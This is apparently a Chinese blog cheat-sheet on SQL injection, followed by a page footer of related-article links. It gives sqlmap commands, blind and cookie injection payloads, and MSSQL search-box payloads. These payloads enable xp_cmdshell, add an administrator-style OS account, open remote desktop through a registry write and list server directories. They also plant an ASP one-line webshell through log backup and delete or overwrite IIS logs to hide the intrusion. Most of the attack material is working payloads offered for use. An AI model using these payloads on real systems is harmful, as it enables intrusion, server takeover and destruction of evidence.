sql工具和手工注入总结
普通注入:
- 数字注入
- 字符注入
- base64注入:和常规的方法没有说明区别,主要是解码然后编码;
如果普通注入不行,尝试大小写绕过,编码等绕过;
如果不行尝试盲注;
POST注入
0x00 常用的
注入点:http://tetasp.vulnweb.com/Login.asp
几种注入方式: sqlmap -r search-test.txt -p tfUPass
其中search-test.txt的内容为以下所抓的post包
0x01 常参数的
sqlmap -r search-test.txt -p tfUPss
0x02 常参数的
sqlmap -u http://testasp.vulnweb.com/Login.asp --froms
0x03 指定一个参数的方法
sqlmap -u http://testasp.vulnweb.com/Login.asp --data "tfUName=11&tfUPass=13"
盲注:
- 基于报错的注入(随笔有总结)
- 延时注入:是一种基于时间差异的注入技术
- 通过在后面加上sleep(time)来判断是否存在注入;
- 通过sqlmap: sqlmap.py -u "http://www.cc.com/show.asp?id=1" --dbs --delay 10
- 字符拆半猜解
- 首先设定一个标准正确的页面:http://www.cc.com/show.php?id=1
- 猜解数据库的名称,首先猜解数据库名称的长度:
- http://www.cc.com/show.php?id=1 and length(datebase())>11
- http://www.cc.com/show.php?id=1 and length(datebase())>12
- 这里面就会发现长度为11时没有报错,而12时报错,说明当前数据库名称应该是12个字符。
- http://www.cc.com/show.php?id=1 and ascii(substring(database(),1,1))>97
- http://www.cc.com/show.php?id=1 and ascii(substring(database(),1,1))>98
- 到98的时候出现错误,说明第一个字节的ASCII码时98,那第一个字符是b。
- 依次类推,就能得到数据库名。
- 需要猜解数据库中表的个数:
- http://www.cc.com/show.php?id=1 and (select count(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database())>14
- http://www.cc.com/show.php?id=1 and (select count(TABLE_NAME) from INFORMATION_SCHEMA.TABLES where table_schema=database())>15
- 这样就可以得出数据库中表的个数为15
- 这种方法最好采用工具sqlmap进行猜解。
或者尝试cookie注入;
cookie注入:
- 穿山甲(有cookie选项)
- sqlmap使用:sqlmap.py -u "http:www.xx.com/show.asp" --cookie "id=27" --level 2(判断是否存在cookie注入),存在则爆表,字段等;
- 手工判断
- 寻找如“ .asp?id=xx"类的带参数的URL。
- 去掉”id=xx"查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。
- 清空浏览器地址栏,输入“javascript:alert(document.cookie="id="+escape("xx"));",按Enter键弹出对话框,然后用原来页面刷新,显示正常,说明后台是用request("id")这种方式获取数据的。
- 将常规的SQL注入中的判断语句带入上面的URL中:javascript:alert(document.cookie="id="+escape("xx and 1=1"));javascript:alert(document.cookie="id="+escape("xx and 1=2"));如果返回正常和不正常页面,则说明应该存在注入。
偏移注入:
解决注入知道表名,不知道列名,无法继续猜解的注入办法;
注入原理:
- Union合并查询需要列相等,顺序一样;
- select * from admin as a inner join admin as b on a.id=b.id,这句话就是说把admin表记为a,同时也记为b,然后查询条件是a表的id列与b表的id列相等,返回所有相等的行,显然,a,b都是同一个表,当然全部返回。
- http://www.2cto.com/Article/201212/179284.html
搜索注入:
- 简单搜索注入判断: a% and 1=1 -- 正常; a% and 1=2 -- 错误;
- 判断权限: a% and 1=(select IS_SRVROLEMEMBER('sysadmin')); -- 返回正常则sa权限
- 判断权限: a% and 1=(select IS_MEMBER('db_owner')); -- 反正正常则DB权限
- 如果sa权限,直接建立系统账号密码,登陆3389(远程桌面连接端口);命令是:a%';exec master.. xp_cmdshell "net user admins 123456 /add" --
- 如果'xp_cmdshell'被关闭,就开启它;
- EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; reconfigure 最后这个为1则开启,为0是关闭。
- a%'; EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE -- (搜索框写这个)
- 如果不开3389,使用下面命令:
- a%;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
- 如果是db权限:主要思路是列目录--差异备份 还有需要库名,需要想办法弄出来。
- 首先列目录: a% order by XX -- 猜列数,例如12;
- 然后a% and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12 --
- 然后用<<MSSQL手工注入目录查找辅助工具>>生成列目录代码,以http://localhost:8080/0/Production/PRODUCT_DETAIL.asp?id=1513为例:
- 例如在C盘建立表连接:a%;drop table t_tian6 create table t_tian6(fn nvarchar(4000),d int,f int) declare @root nvarchar(4000) set @root=0x43003A00 insert into t_tian6 exec master..xp_dirtree @root,1,1 update t_tian6 set fn=fn+char(92) where f=0 drop table t_tian6_1 create tabLe t_tian6_1(f nvarchar(4000))--
- 然后远程整理: %a;declare @fn nvarchar(400),@f int,@r nvarchar(4000) set @r=char(9) declare cr cursor for select fn,f from t_tian6 order by f,fn open cr fetch cr into @fn,@f while @@fetch_status=0 begin set @r=@r+@fn+char(9) fetch cr into @fn,@f end close cr deallocate cr insert intO t_tian6_1(f) values(@r)--
- 最后获取结果,显示路径,a%' and 1=2 select 1,2,3,4,(select top 1 f from t_tian6_1),6,7,8,9,10,11,12 --
- 接着继续用《MSSQL手工注入目录查找辅助工具》生成列目录代码,按照上面的步骤来做,获取路径,直到找到网站根目录。
- 然后获取库名: a% and 1=2 union select 1,2,3,4,(select db_name()),6,7,8,9,10,11,12 --
- 接下来就差异备份一句话木马了:下面用log五步备份法,最后拿到权限后最好把备份东西删掉;
- a%; alert database 库名 set RECOVERY FULL --
- a%; create table cmd(a image) --
- a%;backup log 库名 to disk='c:\backuplog.bak' with init --
- a%;insert into cmd (a) values (hex('<%eval(request("a"))%>')) <%eval(request("a"))%>=一句话木马
- 然后用一句话上去连,拿到webshell;
- 如果是public权限,那么只能拿到后台管理员账号密码,然后登陆后台拿webshell了;
- 清除日志:
- 删除:a%;exec master..xp_cmdshell "del C:\winnt\system32\logfiles\W3SVC1\ex090127.log" --
- 覆盖(推荐):a%;exec master..xp_cmdshell "copy C:\winnt\system32\logfiles\W3SVC1\ex090201.log C:\winnt\system32\logfiles\W3SVC1\ex100201.log" --
- 按照不同路径自己改路径。
- 注意:如果在文本框中输入字数被限制了,那么可以用firebug来修改源文件,例如:<input type="text" name="keyword" size=10 value="无关键字“ maxlength="50">
sql工具和手工注入总结的更多相关文章
- 手工注入——sql server (mssql)注入实战和分析
前言 首先要对sql server进行初步的了解.常用的全部变量@@version:返回当前的Sql server安装的版本.处理器体系结构.生成日期和操作系统.@@servername:放回运行Sq ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- (后端)sql手工注入语句&SQL手工注入大全(转)
转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
- 基于dvwa环境下级别为low的SQL手工注入教程
基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...
- sql server手工注入
sql server手工注入 测试网站testasp.vulnweb.com 1. http://testasp.vulnweb.com/showforum.asp?id=0 http://testa ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
随机推荐
- python Thread、lock
Python的标准库提供了两个模块:_thread和threading,_thread是低级模块,threading是高级模块,对_thread进行了封装.绝大多数情况下,我们只需要使用threadi ...
- ubuntu 环境 celery配置全解
继续尝试没有时间弄明白的技术. celery官方文档地址:http://docs.celeryproject.org/en/stable/getting-started/introduction.ht ...
- 【题解】N皇后
题目描述 相信大家都听过经典的“八皇后”问题吧?这个游戏要求在一个8×8的棋盘上放置8个皇后,使8个皇后互相不攻击(攻击的含义是有两个皇后在同一行或同一列或同一对角线上). 桐桐对这个游戏很感兴趣,也 ...
- Java 的类加载机制
Java 的类加载机制 来源 https://www.cnblogs.com/xiaoxi/p/6959615.html 一.什么是类的加载 类的加载指的是将类的.class文件中的二进制数据读入到内 ...
- IDEA上传码云报错Push rejected: Push to origin/master was rejected
原因是README.md文件冲突,码云上在创建项目的时候不要初始化README.md,然后再用IDEA上传
- MT【227】换钱的总数
(2012复旦)将1张面值100元的人民币全部换成面值1角,2角,5角的人民币,不同的换法有多少种? 解:即求不等式$2x+5y\le1000$的所有非负整数解的个数.由匹克公式:$S=a+\dfra ...
- MT【213】二次曲线系方程
(2013北大夏令营)函数$y=x^2+ax+b$与坐标轴交于三个不同的点$A,B,C$,已知$\Delta ABC$的外心$P$在$y=x$上,求$a+b$的值. 解:由二次曲线系知识知三角形的外接 ...
- 自学Linux Shell8.2-linux逻辑卷LVM管理
点击返回 自学Linux命令行与Shell脚本之路 8.2-linux逻辑卷LVM管理 Linux逻辑卷管理器软件包用来通过将另外一个硬盘上的分区加入已有文件系统,动态地添加存储空间. 1. 逻辑卷L ...
- NOIP2012题解
NOIP2012题解 Day1 Vigenère 密码 vigenere 直接模拟就好了,对于那张表找找规律就很短了. #include<iostream> #include<cst ...
- [luogu3978][bzoj4001][TJOI2005]概率论【基尔霍夫矩阵+卡特兰数】
题目描述 为了提高智商,ZJY开始学习概率论.有一天,她想到了这样一个问题:对于一棵随机生成的n个结点的有根二叉树(所有互相不同构的形态等概率出现),它的叶子节点数的期望是多少呢? 判断两棵树是否同构 ...